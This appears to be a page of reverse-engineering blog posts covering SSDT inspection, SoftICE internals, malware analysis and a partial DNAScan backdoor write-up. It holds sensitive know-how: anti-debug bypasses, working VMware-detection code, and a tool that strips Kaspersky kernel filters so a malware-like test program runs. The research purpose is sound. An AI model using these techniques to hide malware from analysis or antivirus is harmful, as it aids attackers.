Most Popular Blogs

  1. Vmware snapshot and SSDT

    Some time ago I blogged about Vmware snapshots (http://zairon.wordpress.com/2007/08/31/find-out-hidden-files-comparing-vmwares-snapshots/) introducing a way to recognize hidden files by simply comparing two snapshots. I wanted to extend my research on the subject a little bit more, but I didn’t. I got the opportunity to put my hands on some snapshots again in these days. I haven’t anything on my mind, but I was surprised by some coincidences. Look at the information below:
    [code]
    80544bc0: 804fc624 00000000 0000011c 804fca98
    80544bd0: bf995ba8 00000000 0000029a bf98f5f8
    80544be0: 00000000 00000000 00000000 00000000
    80544bf0: 00000000 00000000 00000000 00000000

    00544BC0: 24C6 4F80 0000 0000 1C01 0000 98CA 4F80 $.O………..O.
    00544BD0: A85B 99BF 0000 0000 9A02 0000 F8F5 98BF .[..............
    00544BE0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
    00544BF0: 0000 0000 0000 0000 0000 0000 0000 0000 ................

    [/code]

    First 4 lines are taken from Windbg while I was debugging an XP sp1 virtual machine running under Vmware; last 4 lines are taken from a saved Vmware snapshot (same os of course).
    Do you see anything useful? These are KeServiceDescriptorTable[0],[1],[2],[3] and they have of course the same bytes, but there’s something else. There’s a connection between the addresses on the first lines and the offsets on the second ones, just remove the first 2 digits from the address. Do you see it? Look here: 80544BC0/544BC0, 80544BD0/544BD0, 80544BE0/544BE0, 80544BF0/544BF0.

    Seems like the kernel memory is stored inside the snapshot. It’s not totally true indeed, there’s only a part of the kernel memory stored inside a Vmware’s snapshot. All the KeServiceDescriptorTable entries are present btw.
    SSDT is inside the snapshot I have and it’s complete; SSDT Shadow seems to be inside the snapshot too, but there’s no real connection between kernel memory/snapshot addresses and it’s not complete (it needs some more research btw).

    Is it only a coincidence? I tried with some XP machines and the result is the same, it’s possible to obtain real information of SSDT. According to Kayaker’s test it should work on win2k (don’t remember the service pack he was using. Thx K.).

    With this new information it’s pretty easy to code a SSDT revealer. I gave it a try and here is a result:



    You can use the program to display SSDT entries and to find out modified entries too by simply comparing an original snapshot with another one.

    To retrieve information from a snapshot you have to provide the address of KeServiceDescriptorTable[0] (something like 80544BC0, no “0x” prefix), and you have to select the OS of the virtual machine. After that you can:
    1. save an untouched SSDT using the button labelled “Create untouched SSDT”
    2. retrieve SSDT information from a snapshot by simply pushing the button labelled “Get snapshot SSDT”. Checking “Load untouched SSDT data” you can compare the original table (previously saved) with the one from the snapshot you’ll select. If a service has been changed you’ll read the word “YES” in the last column.

    I got the name of the services from this table: http://metasploit.com/users/opcode/syscalls.html
    I can’t test all the OS, if you find one or more errors drop me a mail.
    Following this method it’s also possible to get the list of the running processes/modules, more about this later.

    SSDT from snapshot available here: http://www.box.net/shared/static/bun81inksk.zip
    Categories
    Uncategorized
  2. antisptd

    antisptd is a driver that makes it possible for softice to load when sptd.sys is present. It uses the method described by Kayaker and that is, by removing the notifyroutine sptd sets to prevent ntice.sys to load. After ntice.sys gets loaded, it restores the notifyroutine and the keyboard hooks in i8042prt.sys that have been screwed by the sptd.sys.

    Usage:
    Just put the startsi.exe in a directory with antisptd.sys and execute startsi.exe.

    Compatibility:
    The driver should work on XP SP2/SP3 with the latest softice installed. I have no idea if it'll work on XP SP1 (cause I have used hardcoded values to locate the patch locations in i8042prt.sys). If it doesnt work, feel free to modify the sources and recompile the driver yourself.
    Categories
    Uncategorized
    Attached Thumbnails Attached Files
  3. Inside SetUnhandledExceptionFilter

    Hi,

    SetUnhandledExceptionFilter()
    is frequently used as Anti Debug Trick, especially in Malware Applications. Around here there are various plugins for Olly that allows the Reverser to trasparently debug this kind of protection, so there is not a real necessity add other words about the mere practical part of trick overcoming.

    Due to the fact that today, too many young reversers uses a ton of plugins anti - anti - xxx without knowing how internally they works, I decided to expose here a little summary of SetUnhandledExceptionFilter Internal characteristics.

    First of all, what SetUnhandledExceptionFilter is? according to MSDN documentation:

    Enables an application to supersede the top-level exception handler of each thread of a process.

    After calling this function, if an exception occurs in a process that is not being debugged, and the exception makes it to the unhandled exception filter, that filter will call the exception filter function specified by the lpTopLevelExceptionFilter parameter.


    And this is the Syntax:

    Code:
    LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(
    __in  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
    );
    lpTopLevelExceptionFilter is a pointer to top-level exception filter function that will be called whenever the UnhandledExceptionFilter function gets control, and the process is not being debugged. A value of NULL for this parameter specifies default handling within UnhandledExceptionFilter.

    Usually, in absence of an UnhandledExceptionFilter the topmost handler called when an uncatched exception occours, is the default one provided by Windows Itself, the classical MessageBox that advices the user that an Unhandled Exception has occured.

    But Windows allow programs to use custom Handlers for UnhandledException. The core of the trick is here, if the application is NOT debugged, the application is able to call the Custom Handler, but if the application IS debugged the Custom Handler will be never called.

    The possibility of cognitive differentiation make obviously able the target application to apply a series of countemeasures against debugging, from detection to code hidding.

    Just remember that due to the architecture of Windows Exception Handling, in every case is called UnhlandledExceptionFilter() function, and this will our point of attack (for anti - anti dbg trick).

    This is the general inner meccanism of SetUnhandledExceptionFilter(), going more deep we observe the call stack of the first thread of any Win32 application, we can see that execution in every case is reported to BaseProcess, here the pseudo definition:

    Code:
    VOID BaseProcessStart( PPROCESS_START_ROUTINE pfnStartAddr )
    {
        __try
        {
            ExitThread( (pfnStartAddr)() );
        }
        __except( UnhandledExceptionFilter( GetExceptionInformation()) )
        {
            ExitProcess( GetExceptionCode() );
        }
    }
    The same thing happens for threads, by referencing to BaseThreadStart:

    Code:
    VOID BaseThreadStart( PTHREAD_START_ROUTINE pfnStartAddr, PVOID pParam )
    {
        __try
        {
            ExitThread( (pfnStartAddr)(pParam) );
        }
        __except( UnhandledExceptionFilter(GetExceptionInformation()) )
        {
            ExitProcess( GetExceptionCode() );
        }
    }
    All that happens inside BaseProcessStart() and BaseThreadStart() for what previously said, will be passed to the UnhandledExceptionFilter().

    It’s now time to see what really is UnhandledExceptionFilter(), according to MSDN:

    An application-defined function that passes unhandled exceptions to the debugger, if the process is being debugged. Otherwise, it optionally displays an Application Error message box and causes the exception handler to be executed. This function can be called only from within the filter expression of an exception handler.

    Syntax:


    Code:
    LONG WINAPI UnhandledExceptionFilter(
      __in  struct _EXCEPTION_POINTERS *ExceptionInfo
    );
    Became clear that UnhandledExceptionFilter represents the last choise for processing unhandled exceptions, so the Check Debugger Presence surely is located inside this function, let’s see a simplified version of this function:

    Code:
    LONG UnhandledExceptionFilter( EXCEPTION_POINTERS* pep )
    {
        DWORD rv;
    
        EXCEPTION_RECORD* per = pep->ExceptionRecord;
    
        if( ( per->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ) &&
             ( per->ExceptionInformation[0] != 0 ) )
        {
            rv = BasepCheckForReadOnlyResource( per->ExceptionInformation[1] );
    
            if( rv == EXCEPTION_CONTINUE_EXECUTION )
                return EXCEPTION_CONTINUE_EXECUTION;
        }
    
        DWORD DebugPort = 0;
    
        rv = NtQueryInformationProcess( GetCurrentProcess(), ProcessDebugPort,
                                        &DebugPort, sizeof( DebugPort ), 0 );
    
        if( ( rv >= 0 ) && ( DebugPort != 0 ) )
        {
            // Yes, it is -> Pass exception to the debugger
            return EXCEPTION_CONTINUE_SEARCH;
        }
    
        // Is custom filter for unhandled exceptions registered ?
    
        if( BasepCurrentTopLevelFilter != 0 )
        {
            // Yes, it is -> Call the custom filter
    
            rv = (BasepCurrentTopLevelFilter)(pep);
    
            if( rv == EXCEPTION_EXECUTE_HANDLER )
                return EXCEPTION_EXECUTE_HANDLER;
    
            if( rv == EXCEPTION_CONTINUE_EXECUTION )
                return EXCEPTION_CONTINUE_EXECUTION;
        }   
    
    }
    As you can see, inside UnhandledExceptionFilter() is called NtQueryInformationProcess() that has as first parameter our process and next DebugPort, this is done to know if the process is debugged.

    All that we have to do to obtain an apparently undebugged process is to modify the first parameter (last pushed at debugging time), in other words we have to change the retur value of GetCurrentProcess() from 0xFFFFFFFF to 0×00000000.

    So remember, when you have to overcome a SetUnhandledExceptionFilter() just put a Breakpoint for UnhandledExceptionFilter() and go inside this function to modify the previously exposed parameter

    Thanks to Oleg Starodumov for pseudocodes

    See you to the next blog post..
  4. SoftICE and KDExtensions

    Well I was writing one extension for softice, and I faced one serious problem which in turn might not be that big problem if softice authors decided to write softice code properly at some points. SoftICE manual doesn't provide us with concept how to write KDExtensions, but in turn it gives us tools which we might use to convert existing windbg extensions into softice extension. One of rules is that we may not use Exception Handling in KDExtension (taken from SoftICE manual), and silently it refuses usage of many exports from ntoskrnl.exe...

    KD2SYS.exe works simply by adding extra code to your dll, and changing it's entrypoint to code which looks like this:

    Code:
    .1000147F: B800000000                     mov         eax,0
    .10001484: C20800                         retn        8
    .10001487: 0010                           add         [eax],dl
    .10001489: 0000                           add         [eax],al
    when extension is loaded, it MUST have Debug symbols so softice will know that it should check EntryPoint for mov eax, 0/retn 8 using INT 2D (during driver loading ntoskrnl.exe will call -> DbgLoadImageSymbols which in turns will call int 2D, hooked by SoftICE which will examine entrypoint of driver and substitute mov eax, 0 with jmp __softice_code which will in turn call DllEntryPoint.

    Code:
    PAGE:004D7D27                 push    dword ptr [edi] ; ImageBase
    PAGE:004D7D29                 call    _CacheImageSymbols@4 ; CacheImageSymbols(x)   
    PAGE:004D7D2E                 test    eax, eax
    PAGE:004D7D30                 jz      __no_debug_symbols
    Upper code shows part of ntos which checks if Debug directory is used, and after that it will call DbgLoadImageSymbols.


    If you take a look at upper Disassm code, you may see that right after retn 08 is stored : 1000h which is RVA of DllEntryPoint... You may examine a little bit hook of int2D and you will see how loading of KD takes place in SoftICE, not a nuclear physics as you may trace Int2D hook in SoftICE without a problem, as it will be running at PASSIVE_LEVEL (level at which drivers are being loaded).

    Next step is to create such driver that will have similar if not the same code which will be handld by SoftICE. My walkaround was to define DriverEntry in asm code like this:

    Code:
    extern                  DllEntryPoint@12:dword 
    public  C               DriverEntry@8
    
    DriverEntry@8:          mov     eax, 0
                            ret     8
                            dd      0FFFFFFFFh
                            dd      offset DllEntryPoint@12
    Also make sure that TARGETTYPE=MINIPORT to link directly with DriverEntry@8 as your entrypoint, as DRIVER type will link using GsDriverEntry:

    Code:
    INIT:00011185                 public GsDriverEntry
    INIT:00011185 GsDriverEntry   proc near
    INIT:00011185                 mov     edi, edi
    INIT:00011187                 push    ebp
    INIT:00011188                 mov     ebp, esp
    INIT:0001118A                 mov     eax, __security_cookie
    INIT:0001118F                 test    eax, eax
    ...
    INIT:000111B8                 mov     __security_cookie_complement, eax
    INIT:000111BD                 pop     ebp
    INIT:000111BE                 jmp     DriverEntry
    Which is not what I want...

    Next step is to write convert.c/asm code which will:

    1. open your file
    2. locate entry point
    3. calculate relative offset of DllEntryPoint
    4. store it in placess of 0FFFFFFFF
    5. update checksum
    6. save changes

    Now you may have neet extension (at least that's how I write them). Kayaker probably has better solution

    Now comes funn part which I figgured after making dump of whole memory in VMWare, as minidump wasn't enough for me.

    I tried to call some procedures which require dropping of IRQL like ExAllocatePool, which will eventually endup in ExAcquireQueuedSpinLock, which will drop IRQL to DISPATCH_LEVEL. I've started receiving numerous BSODs, and I tought that IRQL was an issue... and those BSODs occured only, and only when I was breaking in softice from ring3 applications, so I figured something had to be wrong, but in my wildest dreams I wouldn't suspect that solution was that stupid...

    Let's have a look at code responsible for calling KDExtension in softice:

    Code:
    .text:A7AB9D3A si_callExtension proc near             
    .text:A7AB9D3A
    .text:A7AB9D3A ExtensionApi    = dword ptr  8
    .text:A7AB9D3A hCurrentProcess = dword ptr  0Ch
    .text:A7AB9D3A hCurrentThread  = dword ptr  10h
    .text:A7AB9D3A dwCurrentPc     = dword ptr  14h
    .text:A7AB9D3A dwProcessor     = dword ptr  18h
    .text:A7AB9D3A args            = dword ptr  1Ch
    .text:A7AB9D3A
    .text:A7AB9D3A                 push    ebp
    .text:A7AB9D3B                 mov     ebp, esp
    .text:A7AB9D3D                 push    ds
    .text:A7AB9D3E                 push    es
    .text:A7AB9D3F                 push    fs
    .text:A7AB9D41                 push    gs
    .text:A7AB9D43                 pusha
    .text:A7AB9D44                 pushf
    .text:A7AB9D45                 mov     edi, kd_extension_esp_start
    .text:A7AB9D4B                 mov     ecx, kd_extension_stack_size
    .text:A7AB9D51                 shr     ecx, 2
    .text:A7AB9D54                 xor     eax, eax
    .text:A7AB9D56                 cld
    .text:A7AB9D57                 rep stosd
    .text:A7AB9D59                 cli
    .text:A7AB9D5A                 mov     save_sice_esp, esp
    .text:A7AB9D60                 mov     save_sice_ebp, ebp
    .text:A7AB9D66                 mov     ErrorString_to_display, 0
    .text:A7AB9D70                 mov     si_extension_aborted_pagefault, 0
    .text:A7AB9D77                 mov     b_extension_executing, 1
    .text:A7AB9D7E                 mov     dl, 1
    .text:A7AB9D80                 call    Install_Reinsall_DivideOverflowHandler
    .text:A7AB9D85                 mov     esp, kd_extension_esp
    .text:A7AB9D8B                 sti
    .text:A7AB9D8C                 mov     fs, word ptr kd_extension_fs 
    .text:A7AB9D92                 call    sub_A7AB9C86    
    .text:A7AB9D97                 push    [ebp+args]
    .text:A7AB9D9A                 push    [ebp+dwProcessor]
    .text:A7AB9D9D                 push    [ebp+dwCurrentPc]
    .text:A7AB9DA0                 push    [ebp+hCurrentThread]
    .text:A7AB9DA3                 push    [ebp+hCurrentProcess]
    .text:A7AB9DA6                 call    [ebp+ExtensionApi]
    .text:A7AB9DA9 loc_A7AB9DA9:                           
    .text:A7AB9DA9                 cli
    .text:A7AB9DAA                 mov     esp, save_sice_esp
    .text:A7AB9DB0                 mov     ebp, save_sice_ebp
    .text:A7AB9DB6                 mov     b_extension_executing, 0
    .text:A7AB9DBD                 call    restore_SEH
    .text:A7AB9DC2                 xor     dl, dl
    .text:A7AB9DC4                 call    Install_Reinsall_DivideOverflowHandler
    .text:A7AB9DC9                 sti
    .text:A7AB9DCA                 mov     edi, kd_extension_esp_start
    .text:A7AB9DD0                 mov     ecx, kd_extension_stack_size
    .text:A7AB9DD6                 shr     ecx, 2
    .text:A7AB9DD9                 xor     eax, eax
    .text:A7AB9DDB                 cld
    .text:A7AB9DDC                 repe scasd
    .text:A7AB9DDE                 mov     eax, ecx
    .text:A7AB9DE0                 inc     eax
    .text:A7AB9DE1                 shl     eax, 2
    .text:A7AB9DE4                 popf
    .text:A7AB9DE5                 popa
    .text:A7AB9DE6                 pop     gs
    .text:A7AB9DE8                 pop     fs
    .text:A7AB9DEA                 pop     es
    .text:A7AB9DEB                 pop     ds
    .text:A7AB9DEC                 pop     ebp
    .text:A7AB9DED                 retn    18h
    .text:A7AB9DED si_callExtension endp
    Now comes funny part, really funny part!!!!

    Code:
    .text:A7AB9D8C                 mov     fs, word ptr kd_extension_fs
    This is not kd_extension_fs, this is FS of interupted TASK!!!!!!!!!! So if you are debugging ring3 code, KDExtension will be called with FS = 0x3B which points to TEB instead of KPCR, what most exports from ntoskrnl.exe will expect it to be!!! Of course, this is not the problem when you interupt TASK which is running in ring0, but I want my extension to work the same way no matter if interupted task is in ring0 or ring3.

    That's the reason why KeSetEvent, ExAllocatePool, KeInsertQueueDpc and many, many others will fail, as those at some point expect FS to point to KPCR instead of TEB!

    My solution was to create 2 functions, and call them, one at the beginning of exported function, and one at the end:

    Code:
    ULONG   old_fs;
    void    set_fs()
    {
            __asm{
                    xor     eax, eax
                    mov     ax, fs
                    mov     old_fs, eax
                    mov     eax, 30h
                    mov     fs, ax
            }
    }
    
    void    restore_fs()
    {
            __asm{
                    mov     eax, old_fs
                    mov     fs, ax
            }
    }
    Although those seem like not safe functions, remember that softice ...
    Categories
    Uncategorized
  5. Nucleus Framework

    I just released the initial release of nucleus framework. You have to decide if you like it

    OHPen
    Categories
    coding
    Attached Thumbnails Attached Files
  6. Bridge them all

    Today I’m going to tell you something about the last malware I checked (MD5 0C17E03F41289E47EEB5D0F3F1F48C9C).

    The exe file imports few functions only, but the malware calls a lot of APIs. The author uses a special trick to call an API function, he creates a sort of bridge between the first instruction and the rest of the code of the function itself. The first instruction is executed directly from the stack, then a jmp instruction (the bridge) will lead you to the second instruction (and the rest of the code) of the function. I think I’ve already seen the trick somewhere but unfortunately I don’t remember where… maybe a specific packer or just something similar, I don’t know. If you have seen this trick before just drop me a comment, thx!

    The malware is packed, but inside the unpacked file there’s something strange:



    The exe is full of calls to NULL value. I’m pretty sure that it’s not an error occorred during the unpacking process; there’s something at the beginning of the exe able to fix the addresses. I started my analysis from the first lines of the unpacked file.

    The Import Table is really small but spying inside the strings window I found a lot of common API strings. There’s a big list of functions, and they are divided into some groups; one group containing kernel32 functions, another one with user32 and so on. Working a little with some cross references I got the point I was looking for. It’s time to describe how the malware changes all the “call NULL” instructions.

    First of all the malware gains access to kernel32 base address:

    Code:
    4013D5    mov  edi, large fs:30h  ; PEB
    4013DC    mov  edi, [edi+0Ch]     ; PEB+0x00c   Ldr : Ptr32 _PEB_LDR_DATA
    4013DF    mov  edi, [edi+0Ch]     ; +0x00c InLoadOrderModuleList : _LIST_ENTRY
    4013E2    jmp  short loc_401404
    
    4013E4 check_current_module:
    4013E4    mov  eax, edi    ; eax points to current _LDR_MODULE structure
    4013E6    add  eax, 2Ch
    4013E9    push [ebp+arg_0]        ; unicode "kernel32.dll"
    4013EC    push dword ptr [eax+4]  ; current module name inside InLoadOrderModuleList
    4013EF    call Compare_UNICODE_Strings
    4013F4    or   eax, eax
    4013F6    jnz  short strings_are_not_equal
    4013F8    mov  eax, edi           ; LDR_MODULE of the module I was looking for
    4013FA    mov  eax, [eax+18h]     ; He gets the BaseAddress!!!
    4013FD    pop  edi
    4013FE    leave
    4013FF    retn 4
    
    401402 strings_are_not_equal:
    401402    mov  edi, [edi]        ; jump to next module structure
    401404 loc_401404:
    401404    cmp  dword ptr [edi+18h], 0          ; Is BaseAddress 0?
    401408    jnz  short check_current_module
    40140A    xor  eax, eax
    40140C    pop  edi
    40140D    leave
    40140E    retn 4
    Quite common way, but quite uncommon inside a malware… at least from my not so experienced perspective. Anyway, once it has the right BaseAddress tha malware starts bridge-ing all the necessary functions.



    It’s everything inside this call. It takes four parameters, we can ignore the first one pushed into the stack. What about the others?
    - eax represents the BaseAddress of a module, in this case ntdll
    - 404040 points to a sequence of strings, in this case the first one is “RtlZeroMemory”
    - 406000 represents an address inside the malware
    The procedure is called each time the malware needs to bridge a group of functions, all of them belong to a specific module. In this specific case it works with ntdll’s functions. The list of the functions starts from 0×404040 address:



    The routine contains a loop running until all the functions inside the current group are not all bridged. Here is how the first function is bridged (the sub routine starts at 0×401411):
    1. It takes VirtualAlloc starting address via Kernel32’s ExportTable
    2. It gets the number of bytes of the first instruction of VirtualAlloc. On my XP machine VirtualAlloc starts with a two byte length instruction “MOV EDI, EDI”
    3. It subtracts 7 from ESP value. 7 is obtained adding 5 (a fixed value) to the number of bytes of VirtualAlloc first instruction (2+5=7)
    4. It copies the first two bytes of VirtualAlloc’s code inside the word pointed by the new stack pointer value
    5. If the length of the first instruction is one byte only the malware checks for a possible active breakpoint comparing the byte with 0xCC value; quite useless check at this point…
    6. It sets the byte pointed by ESP+2 to 0xE9
    7. It fills the final 4 of 7 bytes obtaining:



    You have the first instruction of VirtualAlloc at 0×12FDF5, then the jump instruction will lead you directly at the second instruction of VirtualAlloc. Now you understand why it decreases ESP value by 7, two bytes for the first instruction and 5 for the jump. Starting from 0×12FDFC you have the old untouched stack.
    8. It gets the length of the first instruction of the function to bridge. In this specific case the name of the function is RtlZeroMemory and the length is 1
    9. It adds 5 to the obtained value
    10. It calls VirtualAlloc passing trought the stack. It calls 0×12FDF5, and it allocs 6 bytes. 6 is the value that comes from point #9 (5+1=6)
    11. It copies the first instruction of RtlZeroMemory inside the allocated memory space
    12. An anti breakpoint check occours this time because the first instruction is one byte only
    13. It sets the second byte inside the allocated memory space to 0xE9 (again, a jmp instruction)
    14. It fills the rest of the bytes:



    Here is the bridge! It’s like what happened to VirtualAlloc, the allocated memory space contains the first instruction of RtlZeroMemory and a jump to the rest of the code
    15. It restores the original stack pointer value simply adding 7 to the current ESP value
    16. It returns the starting address of the allocated memory space (in this case 0×320000)

    To sum up, the routine bridges the function and returns a memory address. The address will be saved starting from 0×406000 which is another parameter passed to the routine. If you don’t remind all the parameters you can take a look some lines above.
    So, starting from 0×406000 you’ll have a series of dwords, each one containing a pointer to a memory allocated space; these are the values used to replace all the NULL calls. Now I finally know why after the unpacking process I still had a series of “call NULL” instructions.

    Is it really necessary to bridge everything?
    Yes if the author wants to fool an automatic analysis. I don’t know if the trick works or not, but it’s the only reasonable thing I can think of.
    On the other hand, he can’t stop a complete human analysis because once you know how it works it’s pretty easy to convert all the “call NULL” instructions into the right ones; a simple idc script will solve the puzzle.

    It’s a nice piece of malware to analyse btw, it has some interesting routines inside!
    Categories
    Uncategorized
  7. VMware ring3 detection (RF handling)

    Hello,

    Here is one trick to detect vmware discovered by accidance

    I was writing one unpacker, and for me RF was must have to make my unpacker simpler. Unpacker worked great on live system, and then I tried it in vmware, and I got many breaks at same part of the code which should be continued with RF.

    RF from intel manual volume 3, chapter 18:

    Code:
    Because the debug exception for an instruction breakpoint is generated before the
    instruction is executed, if the instruction breakpoint is not removed by the exception
    handler; the processor will detect the instruction breakpoint again when the instruction
    is restarted and generate another debug exception. To prevent looping on an
    instruction breakpoint, the Intel 64 and IA-32 architectures provide the RF flag
    (resume flag) in the EFLAGS register (see Section 2.3, “System Flags and Fields in
    the EFLAGS Register,” in the Intel® 64 and IA-32 Architectures Software Developer’s
    Manual, Volume 3A). When the RF flag is set, the processor ignores instruction
    breakpoints.
    Basically waht debugger would do with break point is:
    - breakpoint reached -> clear breakpoint
    - single step that instruction
    - set breakpoint after singlestep
    - continue execution
    - too much not needed work...

    For DebugRegister breaks on execution, you can simplfy this by setting RF in Eflags, and you don't have to remove your breakpoint on execution.

    So here is how to detect VMWare presence using debug registers due to wrong RF handling:

    Code allocates memory and stores there 0xC3, after that program generates exception to set debug registers. In exception handler code checks if exception occured 1st time (1st debug break) and sets RF (eg. continue execution), after that if exception occurs 2nd time, means that RF wasn't handled and that we have vmware (didn't try with other virtual machines).

    main.c
    Code:
    #include        "defs.h"
    
    PVOID   buffer;
    DWORD   dwExceptionCount;
    
    ULONG   filter(PEXCEPTION_INFO pei){
            PCONTEXT pctx;
            
            pctx = pei->pContext;
            if (dwExceptionCount == 0){
                    dwExceptionCount++;
                    pctx->Dr7 = BPM_LOCAL_EXACT | BPM0_LOCAL_ENABLED;
                    pctx->Dr0 = (DWORD)buffer;
                    pctx->Eip += 2;
                    NtContinue(pctx, FALSE);
            }else if (dwExceptionCount == 1){
                    dwExceptionCount++;
                    pctx->EFlags |= 0x10000;
                    NtContinue(pctx, FALSE);
            }else if (dwExceptionCount == 2){
                    printf("[X] vmware detected\n");
                    ExitProcess(0);
            }
            
            return EXCEPTION_EXECUTE_HANDLER;        
    }
    
    void __declspec(naked) hook_filter(void){
            __asm push      esp
            __asm call      filter
    }
    
    int __cdecl wmain(int argc, wchar_t **argv){
            VOID    (*func)();
            DWORD   dwOldProt;
            PUCHAR  kiuser;
            printf("[*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam\n");
            kiuser = (PUCHAR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "KiUserExceptionDispatcher");
            
            VirtualProtect(kiuser, 7, PAGE_EXECUTE_READWRITE, &dwOldProt);
            kiuser[0] = 0x68;
            *(DWORD *)&kiuser[1] = (DWORD)hook_filter;
            kiuser[5] = 0xc3;
                        
            buffer = func = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            *(DWORD *)func = 0xC3909090;
            
            __asm xor eax, eax
            __asm mov eax, [eax]
            func();
            
            printf("[*] vmware not detected\n");
            ExitProcess(0);
    }

    defs.h
    Code:
     
    #include        <windows.h>
    #include        <stdio.h>
    
    // Dr6
    #define BPM0_DETECTED                    0x00000001
    #define BPM1_DETECTED                    0x00000002
    #define BPM2_DETECTED                    0x00000004
    #define BPM3_DETECTED                    0x00000008
    
    // Dr7
    #define BPM0_LOCAL_ENABLED               0x00000001
    #define BPM0_W                           0x00010000
    #define BPM0_RW                          0x00030000
    
    #define BPM1_LOCAL_ENABLED               0x00000004
    #define BPM1_W                           0x00100000
    #define BPM1_RW                          0x00300000
    
    #define BPM2_LOCAL_ENABLED               0x00000010
    #define BPM2_W                           0x01000000
    #define BPM2_RW                          0x03000000
    
    #define BPM3_LOCAL_ENABLED               0x00000040
    #define BPM3_W                           0x10000000
    #define BPM3_RW                          0x30000000
    
    #define BPM_LOCAL_EXACT                  0x00000100
    
    typedef LONG NTSTATUS;
    
    NTSTATUS
    NTAPI
    NtContinue(__in PCONTEXT ctx, BOOL Alertalbe);
    
    typedef struct{
    	PULONG ExceptionCodeAddress;
    	PCONTEXT   pContext;
    	ULONG  ExceptionCode;
    	ULONG  ExceptionFlags;
    	PULONG ExceptionRecord;
    	ULONG  ExceptionAddress;
    	ULONG  NumberOfParameters;
    	ULONG  ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
    }EXCEPTION_INFO, *PEXCEPTION_INFO;

    output of the program running in vmware:
    Code:
    [*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam
    [X] vmware detected
    output of the program running on live system:

    Code:
    [*] ring3 VMWARE detection - (c) 2009 deroko of ARTeam
    [*] vmware not detected

    Hope you find it usefull
    Categories
    Uncategorized
  8. Filter Monitor 1.0.1

    This week, after months of development of bigger projects, I found some time to windbg "ntoskrnl.exe" and write a utility. It is called Filter Monitor and shows some key filters installed by kernel mode components.

    http://www.youtube.com/watch?v=5iIeISGoHxM

    “As you probably all know the Service Descriptor Table has been a playground on x86 for all sorts of things: rootkits, anti-viruses, system monitors etc. On x64 modifying the Service Descriptor Table is no longer possible, at least not without subverting the Patch Guard technology.

    Thus, programs have now to rely on the filtering/notification technologies provided by Microsoft. And that’s why I wrote this little utility which monitors some key filters.

    Since I haven’t signed the driver of my utility, you have to press F8 at boot time and then select the “Disable Driver Signature Enforcement” option. If you have a multiple boot screen like myself, then you can take your time. Otherwise you have to press F8 frenetically to not miss right moment.

    A disclaimer: the boot process can be a bit annoying, but the utility should be used on virtualized systems anyway, as I haven’t fully tested it yet. I doubt that it will crash your system, I guess the worst scenario is that it won’t list some filters. It should work on any Windows system starting from Vista RTM and I have provided an x86 version and an x64 version. But the truth is that I have tested only the x64 version on Windows 7 RTM. Last but not least, I can’t guarantee that this utility will work on future versions of Windows, it relies heavily on system internals.

    Now, let’s run it. The supported filters/notifications at the time are these: Registry, Create Process, Create Thread and Load Image. “Registry” stands for CmRegisterCallback filters. “Create Process” for PsSetCreateProcessNotifyRoutine callbacks. “Create Thread” for PsSetCreateThreadNotifyRoutine callbacks. And “Load Image” for PsSetLoadImageNotifyRoutine callbacks.

    The “Additional Info” in the list view provides internal information like the address of the callback function.

    There are some default filters registered by system components, but, as you can notice, there are also Kaspersky components. That’s because some filters (like the registry filter) are not used by system components and I needed a tool which would make use of these filters for my little demonstration.

    The version of Kaspersky I have installed is the latest one available on the internet which is: 9.0.0.463.

    I created for this demonstration a little executable called “k-test” (what you see on the desktop are three copies of the same executable) which copies itself in a directory called “borda” in the “Roaming” directory of the operating system. It then creates a value in the Run key of the registry to execute itself at each start-up. Finally, it launches itself from the “Roaming” directory and ends.

    This is a typical malware behavior. Beware that the signature of the application itself is not contained in the databases of Kaspersky as I have written it on the fly, but it detects the suspicious behavior, stops execution and deletes the file. And it does this every time I launch the test application.

    Now let’s get to the part where I show an additional functionality of the Filter Monitor which is the ability to remove registered filters and see what happens if I remove the filters installed by klif.sys, which is the “Kaspersky Lab Interceptor and Filter” driver. As the name suggests, this driver intercepts and filters: it installs all four of typologies of filters listed by the Filter Monitor. On x86 instead of calling CmRegisterCallback it additionally hooks about 60 functions of the Service Descriptor Table (which is a lot), but that’s no longer possible on x64.

    So, let’s remove the filters and re-launch k-test. It works now.

    Final disclaimer: It is not my intent to comment on security features of anti-viruses, I just wanted to present my new tool and show its functionalities. I was already familiar with the internals of Kaspersky before writing this utility.

    I hope you enjoyed the presentation.”


    P.S. A huge thanks goes to Alessandro Gario for providing me with all the different versions of ntoskrnl.exe.
    Categories
    Uncategorized
  9. DNAScan Malicious Network Activity Reverse Engineering

    Hi,

    This is a paper splitted into two episodes, the first two can be readed here

    First
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser.html
    Second
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser_15.html

    Here the Third Part.

    In this blog post we will investigate deeply the effective functionalities of DNAScan,
    that can be seen as a set of Threads that accomplish different networking functionalities like:

    • * Server Functionalities
    • * Client Functionalities
    • * Malicious File Exchange
    • * Generic Backdoor




    Let's start from the beginning of network functionalities setup, initially from the main thread is called WSAStartup used to initiate the Winsock DLL, successively is called a classical socket() and immediately after WSAIoctl


    Code:
    0040A0EE PUSH 2600
    0040A0F3 PUSH EAX
    0040A0F4 PUSH EBX
    0040A0F5 PUSH EBX
    0040A0F6 PUSH 4004747F
    0040A0FB PUSH ESI
    0040A0FC CALL DWORD PTR DS:[41526C];WSAIoctl

    The WSAIoctl function controls the mode of a socket, works like DeviceIoControl so we have a suite of IO Control Codes, in our case the Control Code is 4004747F that corresponds to SIO_GET_INTERFACE_LIST

    Returns a list of configured IP interfaces and their parameters as an array of INTERFACE_INFO structures. After setting socket options and binding we have another WSAIoctl this time with code 98000001 in this way the socket normal working parameters are modified, indeed 98000001 corresponds to SIO_RVALL that enables a socket to receive all IP packets on the network, to use this application need to be in RAW mode using IP protocol and bound to a specific local adapter. Finished this the first thread is created:

    Code:
    0040A089 PUSH EAX
    0040A08A PUSH ESI
    0040A08B PUSH EDI
    0040A08C PUSH OFFSET srcdll.00409FCD; Look here to know what thread does
